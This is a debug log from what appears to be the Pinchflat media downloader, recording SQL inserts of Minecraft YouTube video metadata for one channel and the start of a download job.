("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and Axy have to work together to build a the most secure house to beat SUNMAN! Do they succeed? Watch to find out.\n\n#Mongo #Minecraft #MinecraftMod", "GIANT SUNMAN vs Security House In Minecraft!", "f4fef8d1-7338-494d-ad94-7d852ac69ce5", "GYjZ65S8QVk", false, "https://www.youtube.com/watch?v=GYjZ65S8QVk", 31, [], 839, false, 13, "/downloads/rory/Mongo/2026-05-22 GIANT SUNMAN vs Security House In Minecraft!/GIANT SUNMAN vs Security House In Minecraft! [GYjZ65S8QVk].mp4", false, false, 98, ~U[2026-05-22 19:08:43Z], ~U[2026-06-03 23:44:54Z], ~U[2026-06-03 23:44:54Z], "Mongo and Axy have to work together to build a the most secure house to beat SUNMAN! Do they succeed? Watch to find out.\n\n#Mongo #Minecraft #MinecraftMod", "GIANT SUNMAN vs Security House In Minecraft!", "GYjZ65S8QVk", "https://www.youtube.com/watch?v=GYjZ65S8QVk", 31, 839, false, "/downloads/rory/Mongo/2026-05-22 GIANT SUNMAN vs Security House In Minecraft!/GIANT SUNMAN vs Security House In Minecraft! [GYjZ65S8QVk].mp4", false, ~U[2026-05-22 19:08:43Z]] 19:44:54.286 [debug] QUERY OK source="sources" db=0.2ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:54.287 [debug] QUERY OK source="media_items" db=1.1ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-21 17:01:04Z], 31] 19:44:54.288 [debug] QUERY OK source="media_items" db=0.6ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and Axy are doing a build battle on who can build the best TITAN SUNMAN! Who wins Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With TITAN SUNMAN In Minecraft Build Battle!", "f3bf3938-e33d-4bf8-8622-6128caea426e", "xwUYue7gz98", false, "https://www.youtube.com/watch?v=xwUYue7gz98", 31, [], 758, false, 14, "/downloads/rory/Mongo/2026-05-21 I Cheated With TITAN SUNMAN In Minecraft Build Battle!/I Cheated With TITAN SUNMAN In Minecraft Build Battle! [xwUYue7gz98].mp4", false, false, 98, ~U[2026-05-21 17:01:04Z], ~U[2026-06-03 23:44:54Z], ~U[2026-06-03 23:44:54Z], "Mongo and Axy are doing a build battle on who can build the best TITAN SUNMAN! Who wins Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With TITAN SUNMAN In Minecraft Build Battle!", "xwUYue7gz98", "https://www.youtube.com/watch?v=xwUYue7gz98", 31, 758, false, "/downloads/rory/Mongo/2026-05-21 I Cheated With TITAN SUNMAN In Minecraft Build Battle!/I Cheated With TITAN SUNMAN In Minecraft Build Battle! [xwUYue7gz98].mp4", false, ~U[2026-05-21 17:01:04Z]] 19:44:54.289 [debug] QUERY OK source="sources" db=0.2ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:54.290 [debug] QUERY OK source="media_items" db=1.1ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-20 17:00:52Z], 31] 19:44:54.291 [debug] QUERY OK source="media_items" db=0.5ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo Pretended to be a BABY AXOLOTL on an One Chunk Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be a BABY AXOLOTL on an OP ELEMENTAL One Chunk!", "0c7fb324-8eeb-4e80-a9bb-e09ee535c187", "dMFgYKWa7wk", false, "https://www.youtube.com/watch?v=dMFgYKWa7wk", 31, [], 893, false, 15, "/downloads/rory/Mongo/2026-05-20 I Pretended to be a BABY AXOLOTL on an OP ELEMENTAL One Chunk!/I Pretended to be a BABY AXOLOTL on an OP ELEMENTAL One Chunk! [dMFgYKWa7wk].mp4", false, false, 98, ~U[2026-05-20 17:00:52Z], ~U[2026-06-03 23:44:54Z], ~U[2026-06-03 23:44:54Z], "Mongo Pretended to be a BABY AXOLOTL on an One Chunk Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be a BABY AXOLOTL on an OP ELEMENTAL One Chunk!", "dMFgYKWa7wk", "https://www.youtube.com/watch?v=dMFgYKWa7wk", 31, 893, false, "/downloads/rory/Mongo/2026-05-20 I Pretended to be a BABY AXOLOTL on an OP ELEMENTAL One Chunk!/I Pretended to be a BABY AXOLOTL on an OP ELEMENTAL One Chunk! [dMFgYKWa7wk].mp4", false, ~U[2026-05-20 17:00:52Z]] 19:44:54.292 [debug] QUERY OK source="sources" db=0.3ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:54.293 [debug] QUERY OK source="media_items" db=1.0ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-19 17:00:22Z], 31] 19:44:54.294 [debug] QUERY OK source="media_items" db=0.5ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo Pranks his friends in Minecraft With SUNMAN In Minecraft! What Happens? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pranked My Friends With SUNMAN in Minecraft!", "acba18b7-4d72-4baa-9b67-56fe732db8cc", "N5Mo--bgYg8", false, "https://www.youtube.com/watch?v=N5Mo--bgYg8", 31, [], 942, false, 16, "/downloads/rory/Mongo/2026-05-19 I Pranked My Friends With SUNMAN in Minecraft!/I Pranked My Friends With SUNMAN in Minecraft! [N5Mo--bgYg8].mp4", false, false, 98, ~U[2026-05-19 17:00:22Z], ~U[2026-06-03 23:44:54Z], ~U[2026-06-03 23:44:54Z], "Mongo Pranks his friends in Minecraft With SUNMAN In Minecraft! What Happens? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pranked My Friends With SUNMAN in Minecraft!", "N5Mo--bgYg8", "https://www.youtube.com/watch?v=N5Mo--bgYg8", 31, 942, false, "/downloads/rory/Mongo/2026-05-19 I Pranked My Friends With SUNMAN in Minecraft!/I Pranked My Friends With SUNMAN in Minecraft! [N5Mo--bgYg8].mp4", false, ~U[2026-05-19 17:00:22Z]] 19:44:54.294 [debug] QUERY OK source="sources" db=0.2ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:54.295 [debug] QUERY OK source="media_items" db=1.0ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-18 17:00:26Z], 31] 19:44:54.296 [debug] QUERY OK source="media_items" db=0.5ms idle=3.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and Axy are doing a build battle on who can build the best BLUEY! Who wins Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With GIANT BLUEY In Minecraft Build Battle!", "29b83e71-0b9d-452d-bb21-bb290fe3d3a4", "SCT1zyFtWcA", false, "https://www.youtube.com/watch?v=SCT1zyFtWcA", 31, [], 1113, false, 17, "/downloads/rory/Mongo/2026-05-18 I Cheated With GIANT BLUEY In Minecraft Build Battle!/I Cheated With GIANT BLUEY In Minecraft Build Battle! [SCT1zyFtWcA].mp4", false, false, 98, ~U[2026-05-18 17:00:26Z], ~U[2026-06-03 23:44:54Z], ~U[2026-06-03 23:44:54Z], "Mongo and Axy are doing a build battle on who can build the best BLUEY! Who wins Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With GIANT BLUEY In Minecraft Build Battle!", "SCT1zyFtWcA", "https://www.youtube.com/watch?v=SCT1zyFtWcA", 31, 1113, false, "/downloads/rory/Mongo/2026-05-18 I Cheated With GIANT BLUEY In Minecraft Build Battle!/I Cheated With GIANT BLUEY In Minecraft Build Battle! [SCT1zyFtWcA].mp4", false, ~U[2026-05-18 17:00:26Z]] 19:44:54.297 [debug] QUERY OK source="sources" db=0.2ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:54.298 [debug] QUERY OK source="media_items" db=1.0ms idle=3.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-17 17:00:17Z], 31] 19:44:54.299 [debug] QUERY OK source="media_items" db=0.4ms idle=3.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo Pretended to be a BABY CRABTANIC on an One Chunk Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "Pretending to be BABY CRABTANIC on an OP One Chunk...", "9119778e-77af-4164-bb49-ce58fc7915e9", "GxN99c_ujUc", false, "https://www.youtube.com/watch?v=GxN99c_ujUc", 31, [], 901, false, 18, "/downloads/rory/Mongo/2026-05-17 Pretending to be BABY CRABTANIC on an OP One Chunk..#/Pretending to be BABY CRABTANIC on an OP One Chunk... [GxN99c_ujUc].mp4", false, false, 98, ~U[2026-05-17 17:00:17Z], ~U[2026-06-03 23:44:54Z], ~U[2026-06-03 23:44:54Z], "Mongo Pretended to be a BABY CRABTANIC on an One Chunk Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "Pretending to be BABY CRABTANIC on an OP One Chunk...", "GxN99c_ujUc", "https://www.youtube.com/watch?v=GxN99c_ujUc", 31, 901, false, "/downloads/rory/Mongo/2026-05-17 Pretending to be BABY CRABTANIC on an OP One Chunk..#/Pretending to be BABY CRABTANIC on an OP One Chunk... [GxN99c_ujUc].mp4", false, ~U[2026-05-17 17:00:17Z]] 19:44:54.299 [debug] QUERY OK source="sources" db=0.2ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:54.300 [debug] QUERY OK source="media_items" db=1.0ms idle=2.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-16 17:00:50Z], 31] 19:44:54.301 [debug] QUERY OK source="media_items" db=0.5ms idle=3.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek!", "bdbbdcdb-1b64-4ccf-a538-1fa77caacbfd", "cVAdHzaBmWQ", false, "https://www.youtube.com/watch?v=cVAdHzaBmWQ", 31, [], 924, false, 19, "/downloads/rory/Mongo/2026-05-16 I Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek!/I Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek! [cVAdHzaBmWQ].mp4", false, false, 98, ~U[2026-05-16 17:00:50Z], ~U[2026-06-03 23:44:54Z], ~U[2026-06-03 23:44:54Z], "Mongo Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek!", "cVAdHzaBmWQ", "https://www.youtube.com/watch?v=cVAdHzaBmWQ", 31, 924, false, "/downloads/rory/Mongo/2026-05-16 I Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek!/I Pretended to be a BABY AXOLOTL in Minecraft Hide and Seek! [cVAdHzaBmWQ].mp4", false, ~U[2026-05-16 17:00:50Z]] 19:44:54.301 [debug] QUERY OK source="sources" db=0.2ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:54.302 [debug] QUERY OK source="media_items" db=0.9ms idle=2.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-15 17:00:48Z], 31] 19:44:54.303 [debug] QUERY OK source="media_items" db=0.5ms idle=3.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and Axy are doing a build battle on who can build the best SUNMAN! Who wins Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With SUNMAN In Minecraft Build Battle!", "492fe667-f83b-4f1f-a7b3-d10f349c142c", "cr__CZe6qtI", false, "https://www.youtube.com/watch?v=cr__CZe6qtI", 31, [], 1155, false, 20, "/downloads/rory/Mongo/2026-05-15 I Cheated With SUNMAN In Minecraft Build Battle!/I Cheated With SUNMAN In Minecraft Build Battle! [cr__CZe6qtI].mp4", false, false, 98, ~U[2026-05-15 17:00:48Z], ~U[2026-06-03 23:44:54Z], ~U[2026-06-03 23:44:54Z], "Mongo and Axy are doing a build battle on who can build the best SUNMAN! Who wins Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With SUNMAN In Minecraft Build Battle!", "cr__CZe6qtI", "https://www.youtube.com/watch?v=cr__CZe6qtI", 31, 1155, false, "/downloads/rory/Mongo/2026-05-15 I Cheated With SUNMAN In Minecraft Build Battle!/I Cheated With SUNMAN In Minecraft Build Battle! [cr__CZe6qtI].mp4", false, ~U[2026-05-15 17:00:48Z]] 19:44:54.304 [debug] QUERY OK source="sources" db=0.3ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:54.305 [debug] QUERY OK source="media_items" db=1.0ms idle=2.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-14 17:01:21Z], 31] 19:44:54.306 [debug] QUERY OK source="media_items" db=0.6ms idle=3.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo Pranks his friends in Minecraft With OP GUN Mod In Minecraft! What Happens? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pranked My Friends With CRABTANIC in Minecraft!", "6be70f8b-5e4a-4835-a691-6c597c0e2afe", "wsxfboCOEqc", false, "https://www.youtube.com/watch?v=wsxfboCOEqc", 31, [], 1096, false, 21, "/downloads/rory/Mongo/2026-05-14 I Pranked My Friends With CRABTANIC in Minecraft!/I Pranked My Friends With CRABTANIC in Minecraft! [wsxfboCOEqc].mp4", false, false, 98, ~U[2026-05-14 17:01:21Z], ~U[2026-06-03 23:44:54Z], ~U[2026-06-03 23:44:54Z], "Mongo Pranks his friends in Minecraft With OP GUN Mod In Minecraft! What Happens? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pranked My Friends With CRABTANIC in Minecraft!", "wsxfboCOEqc", "https://www.youtube.com/watch?v=wsxfboCOEqc", 31, 1096, false, "/downloads/rory/Mongo/2026-05-14 I Pranked My Friends With CRABTANIC in Minecraft!/I Pranked My Friends With CRABTANIC in Minecraft! [wsxfboCOEqc].mp4", false, ~U[2026-05-14 17:01:21Z]] 19:44:54.306 [debug] QUERY OK source="sources" db=0.3ms idle=3.5ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-06-03 23:44:54Z], ~U[2026-06-03 23:44:54Z], 31] 19:44:54.308 [debug] QUERY OK source="media_items" db=1.1ms idle=3.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [31] 19:44:54.309 [debug] QUERY OK source="tasks" db=0.1ms idle=3.1ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [7282, 90767, ~U[2026-06-03 23:44:54Z], ~U[2026-06-03 23:44:54Z]] 19:44:54.310 [debug] QUERY OK source="tasks" db=0.1ms idle=1.5ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [7283, 90892, ~U[2026-06-03 23:44:54Z], ~U[2026-06-03 23:44:54Z]] 19:44:54.311 [debug] QUERY OK source="tasks" db=0.1ms idle=1.2ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [7284, 90894, ~U[2026-06-03 23:44:54Z], ~U[2026-06-03 23:44:54Z]] 19:44:54.312 [debug] QUERY OK source="tasks" db=0.1ms idle=1.2ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [7285, 90907, ~U[2026-06-03 23:44:54Z], ~U[2026-06-03 23:44:54Z]] 19:44:54.313 [debug] QUERY OK source="tasks" db=0.1ms idle=1.1ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [7286, 91114, ~U[2026-06-03 23:44:54Z], ~U[2026-06-03 23:44:54Z]] 19:44:54.314 [debug] QUERY OK source="media_items" db=1.0ms idle=1.2ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [31] 19:44:54.315 [debug] QUERY OK source="media_items" db=0.2ms idle=2.2ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [31] 19:44:54.315 [info] No notification servers provided for source 31 19:44:54.316 [info] {"args":{"id":90767},"id":7282,"meta":{},"system_time":1780530294316667638,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:44:54.316 [info] 